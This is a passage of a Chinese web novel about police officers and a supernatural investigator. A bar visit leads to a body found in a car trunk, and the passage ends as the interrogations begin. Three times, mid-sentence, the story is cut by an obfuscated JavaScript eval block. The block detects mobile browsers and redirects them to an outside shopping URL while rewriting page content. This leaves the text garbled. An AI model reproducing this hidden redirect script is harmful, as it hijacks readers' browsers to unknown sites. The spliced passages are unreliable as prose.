“老大你明天也来上班吗?”小桃一边敲键盘一边加入了他们的话题,“我们早上点咖啡的时候,我就先帮你点上奶茶。” 她竖起手指,“我知道,要草莓味的。” 谢重阳幽幽站在他身后:“我也可以点啊。” 小桃又缩回了电脑后面。 崔人往忍不住笑起来:“这就是上班啊?” 好像也还不错。 “闲着的时候才这样。”老张吹了吹茶水,“不过警察局嘛,还是闲着更好。” “哦,那你可能闲不了多久。”崔人往靠进椅子里,“我今天在派出所,闻到一点妖怪的味道,粘在一个男孩身上。” “嗯?”老张瞬间来了精神,“有妖怪!” 谢重阳努力跟上他们的思路:“妖怪,有形体吧?我应该能看见吧?你们……需要去抓妖吗?妖怪能用手铐吗?” 他这一连串给老张问懵了,好一会儿才反应过来摆摆手:“不是!” “这个年代了,出不了那种能吃人的大妖怪了!难得有小妖费尽道行修成人形,也只能像个正常人一样生活。咱们就去打个招呼,让他知道此地不许胡来就好。” 老张哭笑不得,“况且他要是来了挺久了,说不定早就有人交代过了!这小妖是犯什么事了吗要叫我去瞧?” 谢重阳把他们在派出所大厅看见的情况说了,老张摸着下巴:“这么说来,那个孩子说话逻辑清晰,并没有中邪的状况。” “嗯。”崔人往点头,“我也觉得,应该跟妖怪没什么关系,碰巧而已。” “那咱们就……” 老张一拍桌子:“还是得去看看!” 崔人往:“啊?” “相逢是缘。”老张一本正经,“这就是既然碰巧让你们听见,兜兜转转到了我的耳朵里,那便是与我有缘,注定要咱们去掺和的。” “况且这酒吧也确实缺德,怎么开在学校边上!” “这个我刚刚搜过了。”谢重阳无奈耸了耸肩,把一瓶可乐放在了崔人往面前,“根据未成年人保护法,娱乐场所不能开在学校200米距离内,那酒吧街离学校距离800米,虽然也不算太远,但确实不违规。” 崔人往接受了这份小甜水:“我们不知道那个叫‘李明希’的孩子去的是哪个酒吧。” “这也不好查吧?” “可以搜搜看。”小桃已经开始行动,“有‘李胡胡’这个名字,应该就能找到她在哪个酒吧。” 片刻之后,三个人挤在小桃身后,看她搜到的信息—— “家人们谁懂啊,见到男狐狸精了——” 附赠九宫格妆容精致的少女和一个美貌近妖的狐狸眼青年姿势的自拍。 “暮色酒吧这小哥颜值真不输男明星吧……” 昏暗灯光和暧昧bgm里,青年在舞台上尽情释放荷尔蒙,隐约能看出和刚刚照片里的是同一个人。 “男的啊?”老张咂舌,“还是个公狐狸精!嚯,居然还挺受追捧。” “暮色酒吧。”崔人往翻了翻他的经营信息,谢重阳还在看那些帖子。 谢重阳似乎发现了什么:“这些帖子,为什么都是在去年6月份之前的?有没有最新的?” 崔人往的经营信息里翻到了答案:“暮色酒吧去年6月份重新装修,停业了一段时间,最近才新开业。” “我看评价说,好像在重新装修期间,很多人都被挖走了,人员大换血……但李胡胡还在。” 老张好奇地问:“怎么说?” 崔人往点了点“暮色酒吧”的信息给他看:“看这里,这酒吧晚上会有演出,会提前几天放出演出人员名单。” “这周五晚上的演出名单里有李胡胡。” “舞者李胡胡……正不正规啊?”老张摸着下巴,“放心,周五我就去看看,要是这酒吧胡来,我就顺便扫丨黄!” 崔人往轻声一声:“你这把年纪了,酒吧让不让进啊?” “啊?”老张震惊地瞪大眼睛,“老年人不能进酒吧吗!我一看就是很潮流的那种老人啊!” 崔人往别开了视线,不置可否。 “要不然……”小桃难得出声,她偷偷抬起眼瞄着崔人往,小声说,“咱们一起去?” 崔人往诧异地动了动眉毛:“啊?” 小桃小声说:“我还没去过酒吧。” 谢重阳下意识回答:“可是工作日禁酒!” “没让你喝,这是查访。”老张一本正经地说,“咱们便衣潜入!” 崔人往:“……本来咱们也没警服。” 仔细一想,他跟谢重阳、带上小桃和老张一起进酒吧,这组合怎么想怎么诡异。 他给了谢重阳一个眼神,试图让他阻止老张。 谢重阳接收到了眼神,但完全没领会到他的意思,他视死如归地闭上眼:“好!那就去一次!但我不喝酒!” 崔人往:“……” 毫无默契。 “那就说定了!”老张合掌,“周五下班去酒吧!” 从他们门口路过的杜理科震惊地敲了敲门:“我听见了什么?” “下班去酒吧这种话居然敢在市局说,你们也不怕被赵局吊起来打?” “嘿嘿。”老张嬉皮笑脸,“别让他知道,我们调查去呢。” “行吧。”杜理科忍不住又看了看他们的门牌,清了清嗓子问,“我们那今天还得加班,晚上有人一块点外卖吗?” “食堂的菜色我今天看了,鸡腿白菜番茄蛋汤三巨头,我觉得还是得来顿外卖续命。” 谢重阳笑起来:“那确实完蛋,不过我们部门今天不加班,而且我今天带他回家吃饭。” 他顺手搭上了崔人往的肩膀,完全没注意到他微微睁大的眼睛。 “啧,叛徒!”杜理科气急败坏地转身走了,“可恶,加班去了!” 倒是老张吃了一惊:“去去去你家啊?” 他连忙拉着谢重阳走出两步说话,“进展这么快?” “嗯。”谢重阳不明所以,但也顺着他压低了声音,“不是你说让我多跟他玩吗?” 老张嘴巴张合:“……这倒是。” “不过你还是悠着点。” “这已经是一大步了,后续可以慢慢来啊,我也怕你把他逼急了到时候他跳窗逃走。” 谢重阳挠挠头:“不能吧,我家17楼。” 老张:“……” 前头两个人讲悄悄话,身后小桃也对崔人往竖起了大拇指:“老大,你好勇敢。” 崔人往:“……” 别说了,他已经想后悔了。 但谢重阳没给他机会后悔。 准点下班,崔人往坐进了谢重阳的车里,拽着安全带,一脸视死如归。 谢重阳倒是高兴:“今天下班早,再去买点别的菜,你有什么忌口吗?有什么特别想吃的吗?” “哎,你今天要是不回去住, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040883|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不要跟谁说一声?” 崔人往面无表情:“跟谁说?跟前台吗?” 谢重阳又想起他的处境,老实闭上了嘴。 没安静三秒,他又问:“你还没说有没有忌口呢。” “你不用太顾虑我。”崔人往垂下眼,“我不吃的东西很多,但并不怎么介意在餐桌上见到,不吃就好了。” “你只要准备自己爱吃的……” “可我是特意带你回家吃饭的啊。”谢重阳看向他,“我当然希望都是你爱吃的。” 这人说话的时候总带着理直气壮的真心,诚挚得能一举击穿人的愧疚心。 崔人往:“……” 他忍不住有些动摇地怀疑,是他从小在国外长大过于保守了吗?谢重阳怎么能一本正经地说出这么肉麻的话? 最后,谢重阳拎着菜,崔人往抱着超市买的饮料零食,一块踏进了谢重阳的家门。 “你等我一下,我去里面找双新拖鞋给你。”谢重阳把菜放进厨房,让崔人往在门口稍候。 “嗯。”崔人往应了一声,打量着谢重阳的家。 装修走的是简约现代风格,不过入门处摆着的一副画,上面是个面目威严的道家神仙,写着“靖宅安家”四个字。 根据谢重阳的性格,这应该不是他自己摆的,多半是家中长辈的主意。 ——这么看来,他应该是独居,但家中长辈应该也时常过来。 老张似乎说过他是本地人。 他正走神,忽然腿上一热,下意识后退一步,一低头,对上了一张热情洋溢的狗脸。 “汪呜!”这条金毛的热情比他的主人有过之而无不及,热烘烘地贴着崔人往的小腿,一个劲地摇尾巴。 崔人往大脑宕机了一瞬,缓缓蹲了下来,试探着摸了摸它的脑袋。 大金毛见他居然凑近了,尾巴立刻摇成了螺旋桨,前爪搭着他的膝盖就往人脸上蹭,嘴里“呜呜”地撒着娇。 崔人往没怎么接触过这种大型犬,被它猝不及防一撑推了个踉跄,跌坐在地。 在被糊上一脸口水之前,崔人往总算艰难按住了它的脑袋:“冷静、冷静下来!” 他怀抱着还在扑腾的大金毛,有些怀疑,“谢重阳,不会是你现原形了吧?” “啊?”谢重阳拎着拖鞋从里面的房间探头,“你叫我吗?” 崔人往和大金毛一块转过了头。 “立正!”谢重阳连忙喊它,“不许扑人!” 大金毛被拎开,屁股上梆梆挨了谢重阳两掌,还是一脸热情地往他身边凑,就是热情中又带了点好像做错了事的谄媚。 崔人往缓缓站起来,目光从金毛脸上挪到谢重阳脸上,怎么看怎么觉得这俩有点像亲生的。 谢重阳用胳膊夹着狗头:“立正!不许乱来!” 崔人往提醒他:“它好像不会立正。” “是它名字叫‘立正’。”谢重阳笑着抬起头,“它小时候我爸想教它立正握手,没教会,反而让它以为自己就叫‘立正’了,大名叫谢黄豆。” 崔人往:“……一般不是学‘坐下握手’吗?” 谢重阳愣了一下,和谢黄豆对视了一眼,又笑起来:“那它就会以为自己叫‘坐下’了。” “谢黄豆,你今天怎么慢半拍啊?我还想你怎么没冲出来迎接我呢。” 谢重阳弯下腰搓揉狗头,他的脑袋就在崔人往触手可及的位置,莫名让人有些手痒。 崔人往伸出手,摸了摸谢黄豆的脑袋:“好狗好狗。” 谢重阳还在傻笑,崔人往狭促地笑了一声,恶作剧心起,也摸了摸谢重阳的脑袋:“你也是。” 谢重阳:“?” 22. 022.暮色 “给你拖鞋。”谢重阳傻笑着摸了摸自己的脑袋,“正好你帮我陪它玩一会儿,我去把汤热上。” 崔人往不太确定到别人家做客时,主人在厨房忙,他是不是该就在客厅坐着。 他装作自然地在谢重阳身后来来回回,问他:“不用帮忙吗?” 谢黄豆就跟在他后面走来走去,路过的时候还用尾巴抽他爹两下。 “不用!哎!”谢重阳把菜下锅,刺啦一声油烟升腾,“立正!你去外面!” 谢黄豆充耳不闻,还狗狗祟祟地往锅边凑。 “走开!”谢重阳伸腿阻止它,“当心被油烫到!小崔帮帮忙啊!” 崔人往犹豫了一下,把它抱了起——没抱起来。 以他的力气,只能协助谢黄豆人立而起。 崔人往就这么勉强控制住它,忍不住问:“它多重啊?” “80斤。”谢重阳轻咳一声,“但是不是胖啊!你摸摸他的肉,很硬的,都是肌肉!” 崔人往伸手摸了摸,谢黄豆立刻谄媚地扭动屁股撒娇。 崔人往带上一点笑意摸它:“刑警应该很忙吧?你还有时间养狗吗?” “我妈给买的。”谢重阳无奈,“我们家之前没人当警察,我妈对警察的认知只有刑侦剧。我刚毕业到市局那阵子,她一天到晚担心我遇到危险。” “像电视剧里那种,一推门家里等着歹徒捅我一刀啊,半夜有坏人到我家偷证据啊——我就不可能把证据带回家嘛!” “反正她害怕得不得了,还问我能不能申请一条警犬看家,我跟她说不行以后,她就给我把刚断奶的谢黄豆带回来了,说是她问了这个品种长得比较大,方便帮我看家。” 崔人往表情古怪:“看家……用金毛?” “可不是。”谢重阳回头笑,“我只能庆幸,幸亏没选哈士奇。” 崔人往有一下没一下地搓着谢黄豆的大脑袋。 “送都送来了,我就养着了。”谢重阳端起锅,“正好,有它在还能督促我每天下去散散步,实在忙的时候就让我爸妈过来带过去养两天。” 崔人往犹豫着问:“你父母跟你住得很近?” “挺近的。”谢重阳冲他笑,“吃完了散步时候能顺便把锅送回去的距离。” “本来他们是想我住家里的,但我这个工作有时候加班没数,不到家我妈都不安心睡不着,反而影响他们休息,我就搬出来了。” 崔人往又打量着他的家,这会儿又多品出来一些温馨味道。 “这里呢,是他们给我准备的婚房。”谢重阳搭着崔人往的肩膀,“你可以先住。” 崔人往:“……” 他给了谢重阳一手肘。 “哇!”谢重阳揉着肚子,“干嘛啊?” 崔人往垂下眼:“立正,过来。” “有没有狗粮?它老往厨房钻是不是饿了。” “不,那是馋。”谢重阳探头提醒,“别给它喂啊!放粮器是定时定量的!” 两人一块吃了顿家常菜,然后牵上谢黄豆一块去散步。 谢重阳顺路回去还锅,崔人往就牵着谢黄豆在楼下等他,他牵着狗绳插着兜,谢黄豆围着他绕圈,看起来想用狗绳把他捆起来。 捆到一半,谢重阳下楼,口袋里鼓鼓囊囊,还揣了一把砂糖橘,剥开了塞到崔人往手里。 崔人往看着手中的橘子,又看看谢重阳。 谢重阳反应过来:“哦,这是橘子,砂糖橘。” 崔人往:“……国外有橘子。” “哦。”谢重阳挠挠头,“你不吃吗?” 他递了个剥好的过来。 崔人往没接。 谢重阳热情:“你别跟我客气……” 崔人往:“你刚刚给谢黄豆捡屎了。” 谢重阳:“……” 崔人往本来稍微起了点养狗的念头,但在见到谢重阳给谢黄豆铲屎的英姿后立马烟消云散了。 谢黄豆,它好能拉。 遛完狗回家,崔人往和谢重阳一块窝在沙发里看球赛。 谢黄豆狗狗祟祟试图爬上沙发,被谢重阳赶了几次,最终还是得到了睡在崔人往腿上的权利。 崔人往一向对体育运动没什么兴趣,场上再激烈他也提不起兴致,但身边有个谢重阳兴致勃勃,倒也显得不是那么枯燥。 崔人往根本不知道谢重阳支持哪个队伍,只知道有的时候进球谢重阳就跳起来欢呼,谢黄豆也跟着跳起来汪汪叫,显得异常捧场。 他跟着笑,都差点要忘了,自己到底是为什么回到丰城。 …… 夜晚,西区酒吧一条街。 脱下警服,特意换了一套修身毛衣和短裙的宋金云站在酒吧街入口,颇有些为难地拧起了眉头——她不确定自己该进哪一家酒吧,那个来报警的女人也说不清楚。 这些招牌闪烁着绚烂灯光的酒吧,哪一家在她眼前都十分可疑。 她就在这站了不到一分钟,一个穿得单薄态度轻浮的男人凑过来打招呼:“嘿美女,进来坐坐吗?” 宋金云愣了一秒意识到这是酒吧揽客,打量他一眼问:“你是哪家酒吧?” 男人热情地带着她往前走:“喏,就这,暮色酒吧。” “进来听听歌喝点酒啊,一个人还是等朋友?” 宋金云打断他的话,避免被他牵着鼻子走:“我听说这里有个人叫‘李胡胡’,是你家员工吗?” “员工?”男人的表情一瞬间有些古怪,似乎是想笑又忍住了,“哦对对,李胡胡是我们家的,不过他今天没空。” 没想到一击即中,宋金云精神一振:“没事,那我也进去看看。” 她跟着男人进了店,看了眼酒水单,眼皮轻轻跳了一下。 ——好贵。 男人偷瞄着她的脸色,立马摸清了对方的路数,笑着说:“美女你一个人来的啊?一个人多无聊,我给你介绍几个朋友拼桌,大家一起玩玩游戏。” 他摆出亲近的姿态,“你一个人点酒不划算的,跟别人一起喝嘛。” 宋金云控制住表情,看向他:“比如找李胡胡一起喝?” “李胡胡今天不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047971|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”男人笑起来,指了指身后,压低声音说,“已经有人把他叫进去了啊。” 宋金云张了张嘴,下意识想问你们这里有没有进行什么违法交易,但还是克制住了。 她反问:“他很热门?” “这个么……”男人见这个时间,外头的客人还少,也乐意跟这位看起来就不怎么来酒吧的姑娘多聊两句——很多时候,这种看着格格不入的,反而更好骗。 “以前热门,最近……不太好,再不开单都要被老板开了。”男人往她身边挨了挨,一切卖惨都是为开单服务,“不过今天巧,你是第二个问李胡胡的了。” “本来今天他不上班,但有客人特意找,就又给他打电话叫他过来了。” “李胡胡不行还有别人呢。” 男人点了点酒水单上价值不菲的套餐,“你点个这个就行,喜欢什么类型的跟哥说。” 宋金云:“……点了能干什么?” 男人暧昧地笑了笑,但说话滴水不漏:“聊聊天喝喝酒玩玩游戏啊,精神按摩,帮你解压。” “妹妹看着压力挺大啊,工作忙吧?一醉解千愁,咱们这……” 宋金云收回视线:“不了。” “我今天先听听歌就行,有没有不含酒精的饮品?” 男人笑起来:“那么纯呀妹妹。” 宋金云抬眼,相当有威慑力,男人下意识站直,轻咳一声:“有、有,这个不含酒精,但少了点吧?要不点个小吃?” 宋金云本想拒绝,但听他说话,意识到这大概是还没达到酒吧低消,也就只好再加了份小吃拼盘。 男人笑眯眯地去给她拿吃的,跟一个同事擦身而过的时候,那人叫住他问:“哎,怎样?肯不肯拼桌啊?” “难。”男人收敛了笑意,懒散地说,“看热闹的散客,我估计之后都不会再来了。” 那人啐了一口:“怎么全是这种小虾米。” “蚊子也是肉,大单哪那么容易。”男人艳羡地看了眼边上的包厢,“你当谁都能搭上辛少爷啊?” “好好挣蚊子肉吧。” 他笑着走向吧台,把酒和小吃拿给宋金云,态度还算不错。 食物和气泡水都没有封口,宋金云微微蹙起眉头,不太想碰,心想还不如要罐没开封的可乐算了——虽然这二十大几一杯的饮料也很有可能就是罐装汽水加点冰块。 她犹豫再三,还是没碰这些吃的,只不太明显地监视着酒吧门口,看有没有人放明显未成年的学生进来。 夜幕降临,城市的夜生活正式拉开帷幕。 酒吧街上的人逐渐多起来,舞台上有驻唱歌手开始表演,宋金云蹙起眉头——灯光暧昧,加上大部分进酒吧的人脸上都带妆,很难分辨真实年纪,哪怕混进来几个学生,她恐怕也看不出来。 眼看着这次便衣查访一无所获,还得搭上百来块钱,她忽然在门口瞟见一个熟悉的身影。 ——那天在派出所跟他妈妈起冲突的那个少年!李明希! 他没有刻意打扮,穿得就像个学生,背着书包朝里面张望。 23. 023.冲突 宋金云一下子站了起来,但害怕引人注目,又立刻坐了回去。 她看着门口的保安查了李明希的身份证,居然就这么将他放了进来! 宋金云惊讶片刻反应过来——他成年了。 也对,高三的学生,很有可能已经满了十八周岁。 她为难地拧起眉头,那这样就不能说酒吧放未成年人进来了…… 虽然放学生进来也很不道德,但没有违反法律,他们也很难处理。 宋金云拧着眉头盯着李明希,这孩子在酒吧内似乎还有个相熟的工作人员,一进来就目标明确地找上了对方,只是看起来交谈并不愉快。 两个人的交谈里多了些肢体动作,隐约有□□味,宋金云跟他们的距离,听不清他们在说什么。 简短的交谈结束,李明希怒气冲冲走向了包厢,男人慌张地跟了上去,想把他拉回来,但李明希更快一步地推门进去了。 宋金云敏锐地嗅到了某种冲突的前兆,稍有犹豫,还是掏出手机给自己的指导员发了消息。 她重新把手机放回去,装作寻找厕所的模样站起来,走到了那个包厢附近。 她正要假装不经意从包厢门上的窗口往里看,门忽然重重打开了,原本被隔在房间里的喧闹也一下子冲出来。 舞台上的歌手还在演唱感情充沛的苦情歌,破碎难缝的心碎歌声里,李明希和一个染着一头黄毛的青年略显狼狈地被人推着出来,吵嚷嬉笑,一片混乱。 宋金云后退一步,盯住了那个青年。 这很有可能就是李明希来找的人,那个报案的女人提起的“李胡胡”。 青年的一头黄毛乱糟糟的翘着——也有可能是做的造型,总之宋金云不怎么能欣赏。青年发根都已经长出黑色,托着干草一样的黄发像在脑袋上盖了一坨稻草,黑色毛衣胸前的廉价饰品丁零当啷乱晃,手上也是乱七八糟的一大串,像是把整个首饰盒都戴在身上了。 他抬起头,露出一张妆画得乱七八糟但依然挺漂亮的小脸,尤其是一双圆溜溜的眼睛,目似点漆,格外灵动。 宋金云:“……” 倒是也算能吃这碗饭的……不对,长成什么样都不能误入歧途! 李明希把青年护在身后据理力争:“你们干什么!我要报警了!你们以为……” 屋里有人笑了一声,几个推搡着他们的男人配合地让开身。 宋金云趁乱往里看了一眼,里头有个穿得一样花里胡哨,但身上东西一看就比黄毛青年贵的男人。 包厢里的人以他为首,他一笑,其他人也跟着露出嘲弄地笑容,戏谑地盯着李明希和疑似“李胡胡”。 男人站起来,一步步朝他们走近,伸手点着他的肩膀说:“小屁孩,你以为老子是谁啊?敢管我的闲事?” 宋金云正要上前,刚刚领她入座的男人赶来拉住了她:“姑奶奶!看看气氛!别凑上去!” 宋金云回头问:“不喊保安吗?” 男人的眼神有明显的畏惧:“你先回去,这管不了!” 小黄毛也拉了拉李明希,低声说:“没事儿,你憋管我了,快肘吧!” 男人指着小黄毛:“把嘴闭上,你不许张嘴。” 小黄毛老老实实地抿紧了嘴。 李明希梗着脖子没后退,男人嗤笑一声:“哟,还演上英雄救美了。” 他指着黄毛,“本来我还看不上呢,你这样我就非得尝尝咸淡了。” “我今天还非得带他走不可了!滚开!” 几个人推搡了李明希一把,扯着还抿着嘴的小黄毛就往外走。 对方人数众多,宋金云已经叫了支援,本来不应该冲动行事。 但李明希热血上头,揣了个桌上的烟灰缸就跟了上去,宋金云瞬间睁大了眼睛,甩开男人追了上去。 “你干什么啊!”男人在后面叫她,宋金云头也不回:“叫安保!” 酒吧有个后门直通向停车场,几个大少爷的狐朋狗友已经拉扯着小黄毛出了后门,李明希紧紧捏着分量不轻的烟灰缸,快步跟了上去。 宋金云还担心他会不会冲动直接一烟灰缸下去,一句“住手”还卡在喉咙口,就听见李明希大喊一声:“啊——” 走在前面的人齐刷刷一块回头了。 宋金云:“……” 这要是还能被他敲到那就是脑子有问题。 “干什么!”大少爷身边另一个戴着眼镜的男人嘲讽地笑了一声,“想动手啊?打架可不是这么打的。” 他嘲弄地看向大少爷,“我说辛少爷这是好久没在外面混了?居然有人连你的面子都不给了?” 话一出,大少爷的脸瞬间沉了下来,他抬抬手,摆足了少爷架子:“给他点教训。” 几个人嬉皮笑脸地围上去,宋金云立刻掏出警官证:“等等!警察!都给我住手!” 警官证上的警徽还是有些震慑力,冲在最前面的几个马仔明显慌张地回头看了大少爷一眼。 大少爷掏出一根烟点上,摆出了派头,嗤笑一声:“警察?几杠几星啊在我面前这么嚣张?” “这下好了。”戴眼镜的男人又在笑,“不止是小屁孩看不起你,连小警察都敢找你的麻烦了,辛大少,好没面子啊。” “孙烨,你找死是不是啊?”辛大少爷眼皮跳了一下,将烟踩在脚下用力捻了捻,“打啊,我没喊停。” 他指了指宋金云,“你要想多管闲事,那就一起挨揍。” 宋金云深吸一口气,略显紧张地回忆着上班以来还没派上用场的擒拿。 几个马仔面色不善地包围上来,那个黄毛忽然跳了出来:“等会儿!” 辛大少爷正要不耐烦地开口,对上小黄毛的视线,神情瞬间呆滞,四肢无力地缓缓垂了下去。 他安静了几秒,忽然语调轻缓地开口,带着某种诡异的尖细腔调:“放了他们。” 所有人都愣住了。 有人问:“辛少爷,您这是……” 辛少爷忽然抬手抽了自己一巴掌,一边抽一边说:“放了他们!我叫你们放了他们!” 巴掌声“啪啪”作响,大少爷对自己也毫不留手,几巴掌下去脸都红了。 几个马仔反应过来,七手八脚上去按他:“辛少爷!少爷你别打了!” “老大、老大你怎么了!” 李明希被突如其来的变故吓到,踉跄着往后退了两步,被人一撞,靠到了辛少爷骚包的红色跑车后备箱上,“啪”一声,车后备箱弹开。 “啊!”李明希慌慌张张回头,正要重新盖上,但他一眼瞥见了后备箱里的景象。 全身的血液一瞬间冲向头顶,他听见耳鸣“嗡”地一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050627|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前眩晕了一瞬。 “死、死死……”他磕磕绊绊地从喉咙里挤出一句,“死人!有死人!” ——后备箱里赫然躺着一个穿着黑裙子的女人。 有人尖叫起来,几个马仔吓破了胆,连滚带爬地远离了那辆跑车。 不止是谁咽了下口水,小声说:“辛少爷,这、这有点过了吧?” 不知何时,抽自己巴掌的辛少爷也停了下来,他晃了晃被酒精麻痹的脑子,惊疑不定地睁大了眼睛:“什么?” 他也踉跄地后退了两步,“这、这谁啊?什么意思!” 他猛地甩开身边的人,错愕地盯着他们,“你们觉得是我干的?开什么玩笑,我用得着……” 他正要冲向车子,宋金云一把按住了他:“都不许动!保持现场!” 四周的马仔面面相觑,这次没敢上去帮忙。 …… 第二天一早。 崔人往在一个平常不可能会醒来的时间睁开了眼睛,他沉默地看着挤占了大半张床还把狗腿压到他胸口的谢黄豆,摸索着掏出了手机。 早上7点。 他拍了张谢黄豆的照片发给谢重阳,言简意赅:“把它带走。” 不到三秒,谢重阳冲进了客房。 他一把将比人都沉的谢黄豆拖起来,干笑两声:“忘了跟你说,它会开门。” 崔人往面无表情地看着他。 谢重阳轻咳一声:“我说,你……醒都醒了。” 崔人往有种不祥的预感,果然,谢重阳“嘿嘿”笑着说:“咱们一块上班去吧?” 崔人往绝望地闭上了眼睛。 十分钟后,崔人往叹着气从卫生间洗漱完出来——这日子真是健康得令人绝望。 客厅里,梳洗完毕的谢重阳正在跟谢黄豆进行一场拉力赛,他压低声音威胁:“松嘴!立正!这是我的不是你的,松开!你自己有!” “呜汪!呜汪!”谢黄豆不满地呜咽了两声,整只狗都在使劲,就是不肯松嘴。 崔人往走近了才看清,两个人在抢的居然是一只毛绒乌龟。 他没忍住笑了一声。 一人一狗的较量最终还是由谢重阳获得胜利,他直接掰开谢黄豆的嘴,熟练地把玩偶抢救了出来。 “你好了?”谢重阳把东西收好,“那走吧,上班!” 两人一块到了市局,发现气氛明显不对,人来人往脚步匆匆,一看就是有案子。 “怎么了?”连崔人往都察觉到了某种气氛。 “去问一声。”谢重阳正要去找陆正,老张不知道从哪里蹿出来:“哎,你们俩来了!正好,过来帮忙,正缺人手呢!” 谢重阳精神一振:“来了!” 崔人往指了指自己:“我也要?” “你也来!”老张忍不住回头看他一眼,“你居然也来上班了?” 崔人往面无表情,谢重阳笑呵呵地说:“他跟我一块来的,昨天住我家了。” 老张一脸见鬼了的表情,他呆愣片刻,然后拍拍脸:“算了,这种话题一会儿再聊!” “先办正事。” 他带着两人去看询问室里的姑娘,谢重阳已经认出她来:“咦,这不是城南派出所的同志吗?” 宋金云有些尴尬地拉了拉自己的短裙站起来:“你们好。” 24. 024.审讯 宋金云在警察局不穿警服显得相当局促,但问起案情就很快地进入了状况,相当专业地讲述了当时的情况。 ——她因为白天那位方馨女士的报案,晚上独自一人去了西区查访,意外发现李明希来酒吧找李胡胡。为了避免他们跟辛奇钧一行人起冲突,宋金云上前制止,冲突中李明希不小心撞开了辛奇钧的车后备箱,更意外地发现里面居然有具女尸。 “多亏小宋,现场保存得很好。”老张顺着她的话头说下去,“本来他们也以为是挺简单明了的案情,一开始案子也没到市局来。” “那大少爷还打死咬定自己不认识死者呢,但一伙人里,总有嘴巴稍微松点的。有个人说,怀疑死者是被辛奇钧灌了药带走塞后备箱里,结果不小心把人弄死了。” “他一提药那这事就不对了啊!” “咱分局同志就问他上哪弄来的药,他们就说酒吧里总能弄到,然后酒吧一查,嘿——” 老张一摊手,“事情就大了。” “陆队昨晚就已经带人去现场了,你现在名义上不算他们队的,昨晚加班没叫你,不过今天你可逃不了了。那几个小子刚送到这里来再审问一遍呢,杜理科都快忙疯了,你们快去救救他吧。” “我去问问!”谢重阳已经蹿出去,崔人往正要跟上,老张又把他拉到了一边。 “李胡胡也被逮进来了。”老张交待他,“我这正要出去——有人说辛奇钧在停车场像突然中邪一样扇自己巴掌,小宋也看见了,陆队就叫我也去看看情况。” “我估摸着多半是李胡胡干的,但总得去一趟,这里就交给你们了。” 崔人往颔首答应下来,老张拍拍他的肩膀,正要走,崔人往又问:“这件事会跟‘导师’有关系吗?” “目前看不会。”老张揣着手,“这案子唯一跟怪力乱神扯得上关系的,只有辛奇钧在停车场抽自己嘴巴子这事。” 他问,“不相干你还帮忙吗?” 崔人往:“……” “反正都来上班了。” “嘿嘿,我就知道。”老张笑得黏黏糊糊拱他一下,“还问那么多,不还是要帮忙吗?” “走了啊。” 崔人往叹了口气,扭头对上了宋金云带着点好奇的视线。 宋金云:“我没偷听。” “但他声音没有很小。” 崔人往:“……” 老张这人! 宋金云迟疑着问:“所以,怪力乱神是……” 谢重阳正好又冲回来:“小崔!过来了!” 崔人往还没搭腔,就被谢重阳揽着肩膀薅了过去,把茫然的宋金云留在了原地。 …… 崔人往还在试图掰开谢重阳的过于热情的爪子,正好讯问室门口撞见杜理科和江定。 杜理科哀嚎一声扑上来,薅着谢重阳的领子晃他:“你倒是走了,不用加班了,把我们留在这审一屋子草包啊——” 谢重阳纹丝不动,露出笑脸:“这不是来帮你们了吗?怎么样?” “不怎么样。”杜理科气急败坏,“我就奇了怪了,这群狗日的不是嘴巴含着金汤匙出生的吗?怎么含着的是金子,吐出来的就只有屎呢——” “哎。”江定瞟他一眼,“注意素质。” 杜理科冷哼一声:“反正是问了一肚子火,尤其是那个辛奇钧。” “亲爹有钱,亲叔从政,我是法官我就判他家个官商勾结!拽得跟二五八万似的,还以为咱办不了他?” 江定好笑地摇摇头,冷静地总结:“他说不是他做的,还坚称不认识后备车厢的死者,说什么‘律师来之前一句话也不会说’。” “其他一块抓过来的,有几个是跟着他混,唯命是从的小弟,还有几个是家里也挺富贵,跟着他一块玩的同伴。” “几个同伴大难临头各自撇清关系,都说这事跟他们没关系,不知道辛大少爷背地里干什么。” “我们也觉得,辛奇钧如果杀人,手底下人可能会知道的更多。” 她指了指讯问室的门,“就先从这个突破,你们先看看情况,一会儿帮我们也审两个。” 杜理科朝他挤眉弄眼:“上台唱戏了!” 他活动了下肩膀,一脚踹开了讯问室的门,臭着脸把文件往桌上一摔,坐进椅子里,冷笑一声,“想好了没啊?” 江定跟在他身后,轻柔地把门带上,拉开椅子坐下:“别那么大动静,好好问。” 谢重阳就带着崔人往在玻璃另一边往里看,告诉他:“常用战术,一个唱红脸一个唱白脸。” 崔人往点点头,带着好奇打量着坐在他们对面的男人。 男人看起来二十出头,四肢修长,人也精瘦,皮肤偏黑,看着不太好相处。 